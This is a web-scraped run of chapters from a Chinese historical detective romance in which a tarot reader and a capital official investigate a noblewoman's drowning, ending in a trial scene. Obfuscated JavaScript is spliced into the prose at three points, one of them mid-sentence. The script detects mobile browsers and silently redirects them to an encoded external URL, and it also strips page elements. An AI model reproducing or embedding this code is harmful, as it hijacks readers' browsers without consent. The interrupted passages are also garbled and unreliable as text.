“沈大人不擅长破案,罗织罪名倒是一把好手。”她的眼睛瞪得大大的,气鼓鼓的模样像一只小青蛙。 沈京墨便笑了:“多谢夸奖。” “不要脸!”温女萝忍无可忍,挣开他的手,小跑着进了土地祠。 殿内十分清静,香烟缭绕之中,四十个神情各异的土地爷齐刷刷望过来。这场景,与其说庄严,不如说诡异。 温女萝从前是坚定的唯物主义者,即使自己靠着塔罗牌挣钱,依然不相信鬼神,可是气氛上来了,却也有些害怕。 沈京墨扫了她一眼,目光冷淡疏离,带着两分嫌弃之意:“现在走还来得及。” “我不走!”温女萝被他一激,胸中顿时生出无限胆气,冲沈京墨抬抬下巴,“带路。” 沈京墨依言而行,余光不经意间瞥到身后,但见温女萝亦步亦趋小心翼翼,心情莫名大好。 行至后院,四面高墙林立,外头分明阳光明媚,此处却是长风呼啸,格外阴森可怖。停尸房一共十一间,中间五间,东西各三间,全部打通连在一起,粗粗看去,整整齐齐三十多张方桌,约莫躺了十几具尸体。 温女萝轻咳一声,道:“我想和宋三小姐单独待一会儿。” 沈京墨充耳不闻:“按我朝律法,故意侮辱、毁坏尸体,可判徒刑三年;故意毁灭、伪造证物,轻则杖一百,重则流三千,加役三年。” 他说得轻描淡写,落在温女萝的耳朵里无异于惊天大雷。 “十七姑娘,你觉得,我一同进去合适吗?” 温女萝干笑两声:“自然自然。” 谁能合适过你啊。 经过上次的钓鱼执法,她不敢再高估这位京兆府少尹的道德底线。若是忤逆他,指不定尚未走出府衙大门,头上又多了两条莫须有的罪名。 而且正事要紧。 温女萝稍作回忆,径直走向其中一名死者。 宋安然静静地躺在那儿,身上不着寸缕,只盖着一张白布。巴掌大的小脸布满惊骇,眼神又是那么的绝望。 沈京墨皱眉思索。 根据调查发现,宋安然从小跟着祖母在京郊别庄长大,去年年底才回宋府长住,平素不爱出门,也不轻易往外头走动,便连慈仪大长公主的笀辰都没有参加。她生前与温女萝并没有交集,只在二月初二去过一次南瓜坊。 以常理来说,占卜的时候隔着屏风,岑娘子,也就是温女萝,应当不认识死者。 倘若事实果真如此,沈京墨敢肯定,温女萝能见到宋安然的地方,只有白云观——她曾目睹凶案,或者,她就是凶手! 距离凶案发生已经过去八天,尸体表面尚未发生腐烂,但散发出阵阵腐臭味,熏得人几欲作呕。 温女萝屏住呼吸,在心里对宋安然说:“抱歉,我来晚了。” 她伸手阖上尸体的双眼,装模作样地检查了一下有掐痕的后脖颈,然后看似随意地瞥了一眼死者紧握的双手。 沈京墨冷眼旁观,看着女孩子将死者的手放到她自己的掌心中,随即郑重其事地宣称:“天理昭昭,疏而不漏,我一定帮你讨回公道!” 温女萝表情变得呆呆,脑海中涌入宋安然临死前的回忆。 二月二十八,白云观。 “大姐姐去哪儿了?”宋安然初来乍到,不清楚观中路线,不敢随意乱走。 贴身丫鬟小满笑嘻嘻道:“大姑娘在后头梅林,姑娘可要去看看?” 这时节梅花早已开完了,加上春寒料峭,很少有香客往后头去。 宋安然没什么兴趣,扁了扁嘴说要回去。 “今日出府只带了一辆马车,姑娘若是走了,大姑娘怎么办?”小满眼珠子转了转,“奴婢瞧着,花虽败了,青梅子却结得不错。姑娘大可摘一些回去,或酿酒,或制酱,拿来送人最好不过。” 宋安然听了不由心动。自去年返回侯府常住,宋家人虽说待她温和有礼,却并不十分亲近。此番正好可以借着送礼的机会,与兄弟姐妹拉近距离。 小满会意,连忙为自家姑娘引路。 梅林深处,一名陌生的年轻男子将宋悠然抵在树上。美人衣领敞开,露出光滑柔美的锁骨,男子俯下身子,细细地吻了起来。 宋安然下意识捂住嘴,一边悄然往后退,一边伸手去拉小满。 出乎意料的是,小满提起裙子,一溜烟跑远,丝毫不顾及她的安危。 很快,这边的声响惊动男子。 置身宋安然的视角,温女萝看见年轻男子扯住自己的披风。她连忙解开系带,慌不择路地疯跑起来,跑了没多会,看见前头视野开阔,心中先是一喜,走近才发现是一片湖水。 前无生路,后有豺狼。 宋安然咬了咬牙,从地上捡起一块趁手的石头,将身形隐在月亮门后。 脚步声越来越近,男子不慌不忙地说:“姑娘莫怕,我没有伤害你的意思。” 宋安然瞅准时机,举着石头就要往来人身上砸。对方一脚飞踢,如断了线的风筝般,她被踹倒在地,惯性让身体不受控制地翻滚,半边身子已经滑进明镜湖。男子掐住她的后颈,用力把她往湖里摁。 恰在此时,“咕咚”一声,有什么顺着她的脸颊滑落。水面之下,宋安然睁大眼睛企图看清楚,随即伸手抓住了那个小小的、圆圆的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486312|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黑暗彻底降临,回忆戛然而止。 温女萝双手捂住嘴巴,跑到院子里干呕起来。 “为什么没有解剖?”她冷不丁询问。 沈京墨仍旧一副淡淡的死样子:“身体发肤受之父母,解剖尸体必须征求亲属同意。” 宋家人不同意,严格来说是极力反对。 “宋老夫人。”温女萝转过头,目光灼灼地望向沈京墨,“她会答应。” 南瓜坊成立至今已半年有余,岑娘子为了保持神秘,每月只在头三天接客。二月初二那天,她替宋安然占卜过一回。与那些耽于情爱的女子不同,宋安然求的是祖母安康。因着前世缘故,温女萝对于祖母这类生物并没有多少好感——如果不是奶奶煽风点火,妈妈不至于无路可走。是以,她对宋安然印象深刻。 小姑娘性子娴静,话也不多,只在快结束的时候,再三跟她确认幸运物的佩戴禁忌。 温女萝耐心解答,并承诺出现质量问题包售后。 谁不喜欢爽快的客人,当时她还跟青梅打赌,宋安然肯定会再光顾。没想到才过去一个月,竟然等来了宋安然的死讯。 沈京墨抬起眼帘,脸上终于有了点表情:“听闻宋老夫人厌恶庶出,想必不会替宋三小姐做主。” “听闻?想必?”温女萝顿觉怒火中烧,小鹿似的眼眸仿佛要吃人,“难道沈大人办案靠的不是证据,而是道听途说胡乱揣测?” 宋安然的确是庶出,可不经意间流露出的神态骗不了人。她相信自己的判断,宋安然与宋老夫人是真正的祖孙情深。 “本官靠的正是证据。”沈京墨从薛岳手中接过一本册子,翻开几页后,指着其中一处记录给温女萝看,“宋老夫人住在京郊别庄,京兆府几次上门,她都不肯露面,甚至称病不出。十七姑娘以为,本官该怎么做?” 他的目光微冷,不像是询问,更像是轻蔑。 温女萝迅速冷静下来,在脑中理了一番自己的思绪之后,开始娓娓讲述:“始皇出巡,行至沙丘病重薨逝,遗诏扶苏继承帝位。然赵高矫诏,致使扶苏自杀而死。沈大人以为,如果李斯没有封锁皇帝驾崩一事,扶苏可还愿意就死?” 沈京墨有点诧异,问:“莫非宋老夫人不知情?” 堂堂世家千金,尸体却被渔夫打捞上岸,街头巷尾猜测什么的都有。最广为人知的戏码,莫过于富家小姐爱上穷书生,然后相约殉情。无论是古代还是现代,像这种穷富差距男女对立的桃色新闻,总是传播得特别快。 温女萝点头:“是不合常理。但以常理来说,宋家人的举动岂不是更加古怪?” 家里死了人,非但没有配合追凶,反而处处阻拦。 “排除一切的不可能,剩下的再不可能也是真相。”温女萝掸了掸衣袖,扬长而去。 就说看动漫能学到东西吧,这可是福尔摩斯的名言。沈大头,迷不死你。 沈京墨略略回味一刻,抬脚跟上去,走出府衙大门的时候,温女萝已经坐在车把式旁边的位子。 他暗暗松了一口气,但下一瞬,又有些不是滋味。 5. 005 马车平稳驶出长安地界,抵达渭县时,已经是中午。 “大人,到了。”薛岳敲了敲紧闭的车窗,见里边迟迟没有回应,一时有些犹豫。 温女萝二话不说,小跑到马车后面,拉开了车门。 沈京墨瘫软在锦垫上,双目紧闭,面色惨白,忽略掉时不时颤抖着的双手,他身穿绯红官袍的模样,倒有那么几分艳尸的气质。 “不好,世子爷犯病了!”薛岳飞身跃起,马车随之一震。他蹲到沈京墨跟前,动作娴熟地打开主子腰间的荷包,摸索出一颗黑乎乎的丸药,就要往沈京墨嘴里塞。 温女萝抬手制止:“这是低血糖,别瞎喂药。” 薛岳怒斥:“你又不是大夫,你懂什么!世子爷要是有个三长两短,我要你的命。” 温女萝收回手。 啧。 有其主必有其仆。 放下助人情节,尊重他人命运。 她指了指沈京墨的嘴唇,提醒他:“沈大人好像有话对你说。” 闻言,薛岳把自己的耳朵靠过去,嘴上犹自大声嚷嚷:“世子爷,你想说什么?我听着呢!恶……什么,是饿了——” 他一下子噤了声,脸上写满不自在。 呵呵。温女萝解开腰间荷包,取出一枚白瓷小盒,打开来,捻起一粒蚕豆大小的巧克力,喂给沈京墨。 甜味瞬间弥漫在唇齿之间,是带着些许苦涩的满足,如浓酒般醇厚,是入口即化的香软,如久未放晴的冬日忽然遇见的第一缕阳光。 沈京墨仍旧不动。 一道银光划过,薛岳拔出腰间佩刀,架在温女萝的脖颈:“敢给世子爷下毒,我杀了你!” 脖颈处一片冰凉,温女萝白眼翻上天:“要是当真下了毒,现在杀了我也来不及。” “你!”薛岳两眼冒火。 这时候,沈京墨动了。 “去敲门。”他的嗓音低沉,略带沙哑。 薛岳露出恍然大悟的神情。 单单只是京兆府查案,宋老夫人未必肯放他们进去。可眼下英国公世子爷“重病”,宋老夫人不敢见死不救,否则的话,慈仪大长公主必定叫宋家吃不了兜着走。 温女萝哪里猜不出他们打什么主意,暗自在心里摇头,认为大可不必。 这对主仆,一个时不时坐牢警告,一个动不动要命警告,谁敢得罪你们哟。 果然,门房稍作迟疑,薛岳马上亮刀子。门房赶紧放了人进去,嘴上说着去后院禀报,可去了良久,宋老夫人依然没有露面。 “世子爷好计谋。”薛岳满脸佩服。 暖阁内,沈京墨躺在罗汉榻上,许是巧克力的作用上来了,面色不再像之前那么吓人。 应对低血糖最好的办法,就是尽快进食。温女萝打着帮忙的名义去了厨房,回来时亲手端了一碗莲子红枣粥。 她弯腰蹲在榻子前,目光与男人平视,瞳孔闪闪发亮,好似两颗晶莹的黑珍珠:“我听厨娘说,为了三小姐的婚事,老夫人近来胃口不佳。” 宋安然已经死了,何须操心婚事。 沈京墨略一思索,招手叫薛岳过来,附耳吩咐了一番,转头瞅见矮桌上那碗粥,眉尖微微一蹙:“本官不吃红枣。” 温女萝惊呆了! 因为这碗粥正是沈大头点名要吃的。 可贵的是,她竟然第一次理解了沈大头的想法——当然能够提前剔除红枣,可是没有红枣的莲子红枣粥还能叫莲子红枣粥吗?就像是鱼香肉丝里的木耳,她不吃木耳,但鱼香肉丝里不能缺少木耳。 沈京墨斜倚软枕,眼角瞟向女孩子的侧脸,视线似有若无。 午时日光正烈,女孩子鼻尖沁出细密的汗珠,白净的小脸微微泛红,她低垂着头,将红枣一颗一颗往外挑,神情认真又严肃,仿佛在做一件极重要的事。 温女萝捧着没有红枣的莲子红枣粥,献宝似的送到沈京墨面前:“沈大人,南瓜坊的罚金,咱们再商量商量?” 她知道自己的行为过于谄媚,可冯姨娘等着救命,许嬷嬷年纪大了,需要再买一个丫鬟,青梅和昌荣也要养活,还有租金要交……一桩桩一件件,哪样不需要花钱。 沈京墨支着身子坐了起来,听见她的话,接碗的手不由一僵,少顷,冰凉的嗓音响起,带着一股不容置疑的力道:“朝令夕改,本官颜面何存?” “我现在帮大人查案,能不能算将功补过?”温女萝敢怒不敢言,只好睁着湿漉漉的大眼睛,开始装可怜,“我姨娘病得很重——” 沈京墨冷面寒霜,长眉如锋,眼里找不出半分同情:“依我朝律法,百姓有义务配合官府调查取证。十七姑娘知情不报,且有作案嫌疑,本官不予追究已是网开一面,十七姑娘如何有脸以功臣自居?” 作、案、嫌、疑。 又是平地一声雷,温女萝此时再顾不上南瓜坊,急忙出言辩解:“二十八那天,我一直在嫡母房中抄写佛经,有不在场证明。” 沈京墨颔首:“是。” 他定定地看着她,一双黑眸仿佛能看进人心里去:“上个月二十八,宋安然的确没有返回宋家。可是,是谁告诉你她死在了那一天?这个月初三,宋悠然也去过南瓜坊。是不是她与你合谋,害死了自己的亲妹妹?” 一番话说下来,温女萝百口莫辩。 以古代的验尸手段,检验一具泡在水里超过四十八小时的尸体,没办法得到精确的死亡时间。而她能一口咬定宋安然死在二月二十八,的确与宋悠然有关。 三月初三那天,在孟晚意到来之前,宋悠然神不守舍地走进南瓜坊。她想做一场祈福仪式,祈求妹妹灵魂安息。 温女萝没道理拒绝上门的生意,只是宋悠然的状态不像是失去至亲的悲恸,更像是心虚。 于是在点蜡烛环节,她以聚集能量为由,趁机握住了宋悠然的双手。因为宋悠然当时情绪不稳定,她看到的回忆也是断断续续,以至于没能看清凶手。今天通过宋安然的尸身,她知晓了凶手长相,奈何没办法如实相告。 “我没杀人。”温女萝耷拉着脑袋,有气无力地辩解,“也没钱交罚金。坐牢就坐牢,我回去的。” 话毕,她站直身子,抬脚作势要出门。 沈京墨一言不发,坐在那儿慢吞吞喝粥。 温女萝往前走了两步,回头看他一眼,瞬间气得要命。 正在此时,外面脚步声急促,几个丫鬟大声呼喊:“走水了!快拿水来!” 温女萝飞快冲出暖阁。 东南方向火光冲天,滚滚浓烟翻涌着升腾,仿佛挣脱枷锁的巨兽,贪婪地吞噬周遭空气。这样大的动静,整个别庄的人都被惊动,混水摸鱼再合适不过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486313|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 问题是,宋老夫人住哪儿? 沈京墨从暖阁出来的时候,温女萝正站在廊下茫然出神,一瞧见他,立刻上前抓住:“现在怎么办?” “跟我来。”沈京墨扯过自己的衣袖,率先迈开步子。 这别庄,他亦是头一回来。不过,京中世家多在渭县置有别庄,随着朝代更迭,这些别庄也是几经转手,虽说偶有翻新,但格局大差不差。 穿过几处游廊,隐约瞧见主屋的一角,行至一处竹桥,遥遥听见前方传来人声。 “……灶头里蹦出来的一点火星子,烧着了两根干柴罢了。几个婆子年龄大了不经事,吓得跟什么似的。老夫人放一百个心,不会有事的。”桂嬷嬷劝慰道。 宋老夫人站在院子里,闻言长舒一口气:“这人呐,老了老了就跟成精似的,近来总觉心慌意乱,害怕安安会出什么事情。今日方知是应在这个上头,倒也算是一桩幸事。我啊,只盼着安安顺利嫁进崔家,过几天安生日子。” 桂嬷嬷脸色变了几变,勉强扯出来一个笑:“三姑娘吉人天相,老天爷会眷顾她的。” “她死了。”沈京墨猛地插话,声音冷漠而淡然,听不出一丝怜悯。 温女萝惊讶地望向他,沈京墨再次强调:“宋安然死了。” 宋老夫人愣住,眼睛盯着沈京墨身上的绯红官服,整个人一动不动。 温女萝越来越紧张,一颗心提到了嗓子眼。 来的路上,她思考过如何将死讯告知受害者家属,但显然没有正确答案。再怎么委婉,再怎么文雅,也改变不了残酷的现实。 “逝者已逝,生者如斯,老夫人节哀。”温女萝还是开了口。 令人诧异的是,宋老夫人已然恢复冷静:“安安现在在哪儿?” “京兆府。”沈京墨言简意赅地回答。 宋老夫人拄着拐杖:“走吧。” 这下连沈京墨也摸不准老太太的心思,不过温女萝猜得没错,宋老夫人之前果真不知情。 薛岳的动作很快,已经吩咐门房备好马车。 宋老夫人瞟过去一眼,但见他满脸黢黑,衣裳还有被火烧坏的痕迹,心中登时明白大半,长长叹了一口气:“家门不幸。” 车把式那边儿颠得屁股疼,温女萝厚着脸皮,再次与沈京墨挤在一处。马车一路平稳行进,自明德门入城,径直往京兆府去。 车厢内一片沉寂,沈京墨忽然开口:“十七姑娘,你还没有回答本官的问题?” 温女萝简直烦得要命,掏了塔罗牌出来给他看:“大自然的奥秘库懂不懂!上可预示人间万物,下可卜问祸福吉凶。我不仅知道宋三小姐怎么死的,还知道沈大人未来的官运。” 说着,她随手从中抽出一张牌。 “噢,太阳牌的逆位。志不在此,身心俱疲。沈大人不适合查案,趁早辞了官职,回家休养去罢。” 听着女孩子阴阳怪气的腔调,沈京墨忽然觉得,这才是她真正的本性,乖巧懂事的面具下满是张牙舞爪。 越解释越说不明白,温女萝索性摆烂,本以为沈大头会继续咄咄逼人,再不济也要坐牢警告,不料他轻轻笑了两声:“这样啊,是我误会了十七姑娘。” “我也不要大人赔礼道歉。”温女萝很是大度地摆了摆手,“等宋三小姐的案子查清楚了,咱们后会无期。” 6. 006 返回京兆府时,已是过了饭点,膳馆早就关火。受害者亲属还在,下馆子显然不现实。薛岳从户房领出来伙食款,到外头买来分装好的盒饭,每人两荤一素,还有一碗热汤。 除了温女萝。 “怎么少了我那份?”她不解地问道。 “小少爷,公费是有定数的。”薛岳随手指了个方向,“那边整条街都是卖吃的,想吃自己买去。” 温女萝早上只吃一碗牛肉面,这会儿正饿得厉害,听着他的话险些被气哭。 沈京墨静静地喝了小半碗菌菇鸡蛋汤,觉察身后窸窣声响,回头望了一下,发现女孩子独自坐在土地祠门口,神色寂寥地啃着包子。 “我在家吃过了,这份给你。”有声音在头顶响起。 温女萝抬头,看见一名少女理了理衣裙,坐到自己身边。 来人大约十五六岁的年纪,皮肤莹白,眉眼秩丽,梳着简单的单螺髻,穿一身黑色棉布圆领袍,腰间系了条纹路繁密的五色丝绦,丝绦尾端缀着块柳叶形状的羊脂白玉,看起来价值不菲。 “我是秦雅颂,在京兆府担任仵作。”她一边自我介绍,一边掀开食盒,将汤碗递过去,“刚吃了包子,喝口汤润润。” 温女萝正觉嗓子干涩,闻言心中增添几分好感:“谢谢。” 秦雅颂在京都贵女圈中大名鼎鼎,她自然听说过。不曾想,传闻中性情乖张、举止怪异的女疯子,竟是这样温和可亲。 温女萝接过汤碗喝了一口,觉得味道有点怪,但还是点头说:“真好喝。” 秦雅颂咧了牙笑,笑声颇为诡异,宛如童话故事里的女巫:“我加了料的,当然好喝。” 温女萝垂下视线。黑漆木碗内盛着乳白色的汤汁,肥厚的平菇片与松散的蛋花底下,好像有什么东西起起伏伏。 她微微晃了晃,一颗眼球丝滑地浮了上来。 “啊啊啊——”温女萝吓得惊声尖叫。 秦雅颂瞬间变脸,看向她的眼神愤恨至极:“你不是喜欢动我的东西吗?我亲手将它送给你,怎么你又不喜欢了!” 温女萝连连摇头:“我没有!” 她匆匆跑到沈京墨身边,希望他为自己作证。 “沈大人,你告诉她,我没有动过她的东西。” 听见“东西”二字,沈京墨的眉心跳了跳。活着的时候是人,死掉了能够算作东西么? 汤碗在地上滚动两圈,然后一动不动。秦雅颂又端着一盘青椒炒手指走过来,声音缓慢而悠长:“没有我的允许,不准随意动我的东西。你既然动了,就要接受惩罚。” “没错!”薛岳挺身而出,“秦姑娘所言有理。小少爷,好好受着吧。” 温女萝只觉自己进了精神病院,她不知道该怎么办,唯有抓住眼前这根救命稻草:“沈大人沈大人……” 唇角微微翘起,沈京墨似乎在笑,又像是生气,语气罕见地严厉:“够了!” 薛岳本是英国公府养大的护卫,不敢不听世子爷的话,低头垂首,自去一旁待命。 秦雅颂有点不服气,冷哼一声却没再说话。 温女萝这才稍稍安心,接下来寸步不离地守着沈京墨,唯恐秦雅颂逮住机会,又要喂她吃“特餐”。 沈京墨沉默了许久,淡淡地说:“本官吃好了。” 温女萝的目光随之看过去,只有汤碗空着,其余菜色几乎没有动。换作平时的话,她肯定厚着脸皮捡剩菜吃,而今被秦雅颂吓了一回,必须得缓缓。 沈京墨侧过脸看了她一眼,欲言又止。 “沈大人。”一道苍老的声音自身后响起,宋老夫人拄着拐杖,被桂嬷嬷搀扶着从土地祠出来,眼圈红红的,像是大哭过一场,“老婆子没什么受不住的,大人有话请讲。” 温女萝听了,胸口心酸一片。 谁也没有提及解剖尸体之事,但是宋老夫人心中多半有数了,就是这样聪慧的老太太,才能教出同样聪慧的孙女。以至于在生命的最后关头,宋安然还能想到法子,留下有关凶手的证据。 沈京墨没说话,拿起一份文书递过去。 秦雅颂凑近站在宋老夫人旁边,食指轻轻点了点文书右下角,说:“在这签字,落笔无悔。” 桂嬷嬷脸色大变:“老夫人万万不可啊!三小姐清白之身,怎能——” 话说到一半,便被宋老夫人坚定的眼神给镇住:“回去告诉宋识蕴,老婆子早就活腻了,纵然闹到陛下跟前,也要替安安讨回公道。” 宋识蕴,宋家的家主,也是宋安然的父亲。 · 三月十五,京兆府。 天尚且蒙蒙亮,长安百姓早已等在府衙门口,门一开,众人群起而涌之。 沈京墨高坐公堂之上,目光越过堂前空地,看见身穿绿衣的小郎君淹没在乌泱泱的百姓之中,不禁勾了勾唇角,露出一抹嘲弄的笑意。 “孝元十五年,二月二十八,宋家有女于白云观失去行踪。同年三月初一,渔夫李际在广水河下游打捞一具女性尸体上岸,死者身份确认为宋家安然无误。本官身为京兆府少尹,奉皇命审理此案,天理昭昭,人心灼灼,必不使生者蒙冤,亦不叫死者难安。 “升堂!” 只听得三声鼓响,杀威棒击打地面,三班衙役同时低吼威武,审讯拉开帷幕。 沈京墨:“传婢女陈小满。” 为首的两名衙役齐齐转过身,一左一右,面朝堂外而立,一张口声音洪亮如钟:“传婢女陈小满!” 话音尚未坠地,两名站在公堂之外的衙役,同样高喊一声:“传婢女陈小满!” “传婢女陈小满!” “传婢女陈小满!” 一声接着一声,犹如击鼓传花般,从大堂到中庭,从仪门到长街,声声呐喊,穿透人间阴暗,余音激荡,弘扬正大光明。 气氛庄严而凝重,旁观百姓噤若寒蝉。温女萝身受感染,忽然有点理解现代人为何对局子和法院避而远之,就这架势,没几个人能扛得住。 小满被衙役引着穿过中庭,跪在大堂之上。 “奴婢陈小满拜见大人。”她抬起头来,面色还算平静,只是那隐隐发抖的手,透露出些许心虚。 依周朝律法,平民和贱籍见官需跪拜行礼。 宋悠然身为侯府千金,自是不必跪,当下挺直了脊梁,站在大堂中央。 “陈小满。”沈京墨发了话,“你可认识堂下这名男子?” 崔琰坐在椅子上,姿态闲散而从容。他是皇亲国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486314|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚,在罪名成立之前,不仅可以坐着答话,还不能受刑。 小满转过头去,上下打量了崔琰一遍,语气笃定地说:“奴婢不认得。” 啪—— 沈京墨一拍惊堂木,声调陡然拔高:“崔驸马涉嫌杀害你家小姐,京中人人知他今日受审,你竟说不认得?” 小满急声辩解:“奴婢知晓。只是今日之前,确实不曾见过崔驸马。” 沈京墨:“你是宋安然的贴身丫鬟。既然你不认得崔驸马,宋安然理应也不认得?” 小满似乎松了一口气,点头道:“是。我家小姐自幼在别庄长大,只知崔家有位表少爷尚主,却从未见过。” 沈京墨追问:“你确定?” “是。”小满连忙解释,“姑娘自从去年回来侯府,只偶尔出过几次门,每次奴婢都有跟随。奴婢敢确定,我家小姐不曾见过崔驸马。” 沈京墨盯着小满,一字一顿地道:“陈小满,宋府家生子,与宋安然同乳长大,情分非比寻常。”说着,一双黑眸沉湛湛地压过去,话锋陡然间转变,“除了本官的命令,你从进门至今,为何一眼都不敢看崔驸马?本官很怀疑,你与你家小姐是否当真主仆情深?” 小满汗如雨下。 问得漂亮!温女萝暗暗叫好。 如果当真主仆情深,面对杀害自家姑娘的凶手,即使只是嫌疑犯,也不可能做到无动于衷。如果主仆关系不好,小满的证词便站不住脚,她本人亦会沾上作案嫌疑。 “奴婢一时没有……”小满说话吞吞吐吐,显然还没有想好合适的借口。 沈京墨根本不给她这个机会,举起一份签过字画过押的证词,指着其中一处质问:“宋安然不见那天,你说你带着她去梅林找寻宋大小姐。宋安然是第一次去白云观,你与她朝夕相伴,自然也是第一次,如何做到给她带路?” 闻言,温女萝恍然大悟,她就说觉得有点奇怪,现在终于明白违和感在哪儿。 假设小满是故意引诱宋安然去梅林,那么有两种可能。 其一,小满对宋安然心怀不满,设计送她去死。 以当时情况来看,小满比宋安然还要害怕,就算崔琰不认识她,宋悠然不可能不认识。杀一个也是杀,杀两个也是杀,小满哪里还有命在。 所以只剩下第二种可能——背主。小满被宋悠然给收买了,故意引导宋安然撞破她与崔琰的奸情。 “奴婢……奴婢事先问过小沙弥,”小满似乎编造好理由,说话添了几分底气,“梅林就在大殿后头,那条路很好找。” 沈京墨挑了挑眉,眼神玩味:“那小沙弥长什么模样?穿什么颜色衣服?有没有留孩儿发?” 小满低着头,状似回忆了一下:“奴婢不记得他的模样,穿的好像是蓝色僧衣,至于头发……”再抬起头时,她笑了笑,语气带着点打趣,“和尚自然是光头,哪里来的头发。” 堂上气氛瞬间凝滞,堂下百姓交头接耳。 小满一脸疑惑与紧张,斜斜瞟了一眼宋悠然的方向,但见对方回她一个警告的眼神,吓得脖子往后缩了缩,随即抬头望向上首,目光中带着询问。 沈京墨居高临下看着她,声音缓慢却咬字清晰:“白云观是道观,何处来的小和尚?” 7. 007 永嘉三十五年,昭靖太子急病离世。幸当时皇帝还有一个十四岁左右的皇子,萧祈体弱多病,一直养在大安国寺,对凡尘俗事早失了兴致,遑论权利帝位。然皇父之命不可推辞,为了大周朝国泰民安,他顺从地娶妻生子,登基称帝。 兴隆十八年,萧祈提前退位,以太上皇之尊在大安国寺剃度出家,自此佛教在大周盛行。 围观百姓你一言我一语,将这些原委说得清清楚楚。 温女萝边听边点头,敢情有官方认证。 鉴于太上皇的权威,大大小小的佛寺遍布大周。宋老夫人日日礼佛诵经,三不五时便带着孙女去慈恩寺聆听高僧讲座。小满在寺庙里见过最多的自然是和尚,所以说谎的时候下意识地使用了从前的经验,浑然没有考虑到白云观是一家道观。 说多错多,小满不敢再开口。 为了照顾受害者亲属的情绪,京兆府安排宋老夫人坐在公堂的另一侧。从温女萝的角度,可以很清楚地看到宋老夫人脸上的神清,先是大吃了一惊,满脸困惑,随后沉思片刻,似乎幡然醒悟。 “该死的小蹄子,还不赶快说实话!”宋老夫人一边转动手中佛珠,一边言语威胁,“当心你老子娘的命。” 小满不为所动,依然低着头沉默不语。 沈京墨眸色渐深。 来了来了!温女萝两眼放光。 沈大头最是擅长罗织罪名,没罪都能整出点罪来,有罪当然是罪上加罪。 “陈小满,你三番两次搪塞本官,如此蔑视公堂,等同不敬天子。本官不屑对女子用刑,今日便为你破例一回。”沈京墨从签筒中取出一支黑令签,扬手掷于地上。 黑色令签代表轻罚,打不死人也得脱层皮。 沈京墨迅速扫了一圈人群,绿衣小郎君满脸堆笑,朝他竖了个大拇指。 男人收回目光,唇边似有笑意一闪而过。 十板子还没打到一半,小满已然老实。 “饶命!大人饶命!”她仰着脖子,声嘶力竭地喊,“是大姑娘!大姑娘不想让姑娘与崔四少爷定下婚约,企图设计教姑娘丢了名声。” 小满转了转头,目光仰视神态自若的崔琰,以一种咬牙切齿的口吻说:“其余的事,奴婢当真不知!” 沈京墨微微颔首。 小满的证词与调查发现基本保持一致。 崔宋两家世代为婚,宋老夫人便是崔氏女。到了崔琰这一辈,两家商议的人选原本是宋悠然,偏生一道圣旨下来,崔琰尚了主。哥哥定下来便换弟弟,崔家四少代替崔琰继续联姻。宋老夫人为了避嫌以及兄弟和睦,提出将宋悠然换成宋安然。不过长幼有序,姐姐未许人家,妹妹不好先说亲,因此两家人默契地没有将此事说开。 宋悠然大约是以为局面未定,便暗中收买了小满,意图引诱宋安然瞧见她与崔琰私会。至于她的动机,倒不难猜。宋悠然与崔琰青梅竹马,无外乎是想以两人的奸情吓退宋安然,进而将联姻的人选重新换成自己,方便婚后继续与崔琰偷情。 她的确成功了。 没想到的是,崔琰直接杀人灭口,根本不给宋悠然发挥的余地。 这一点并不影响案情,是以,沈京墨没打算深究。 看着小满被抬下公堂,温女萝简直要急死,睁大眼睛瞪向沈京墨,活像满腹怨气的鬼。 沈京墨视而不见,沉着一张脸,目光落在宋悠然的身上:“刑不上大夫与命妇,宋大小姐两样不沾。若能提供有关凶手的线索,本官可以网开一面。” 地上的血迹触目惊心,小满的惨叫犹在耳旁,宋悠然早已吓得不像样子,用颤抖的手指向崔琰,磕磕绊绊地说:“三妹跑了,驸马去追她。我赶到的时候,驸马已经将三妹丢进水里,我是想救她的……” 沈京墨没兴趣听她辩解,目光冰凉地转向崔琰,只问:“驸马作何解释?” 崔琰温和地笑笑:“方才那名婢女,好像是叫小满。她可以为我作证。我不曾见过宋三小姐,要如何杀死一个素未谋面之人。至于宋大小姐,她恨我娶了公主背弃婚约,设计陷害于我也未可知。” 宋悠然浑身颤抖,瞪大眼睛死死盯着昔日山盟海誓的情郎,他不认罪本是情理之中,却将罪名推到自己头上,当真是无情啊。 有一瞬间,她几乎想将二人的私情当众捅破……不可以!驸马没了体面,公主又有什么体面。皇家的体面,从来都是高于一切,也碾压一切。正是因为清楚地知道这一点,当初才会拉着宋家上下一起撒谎。如果宋安然的尸体没有流到下游,这会儿大概已经“病逝”。 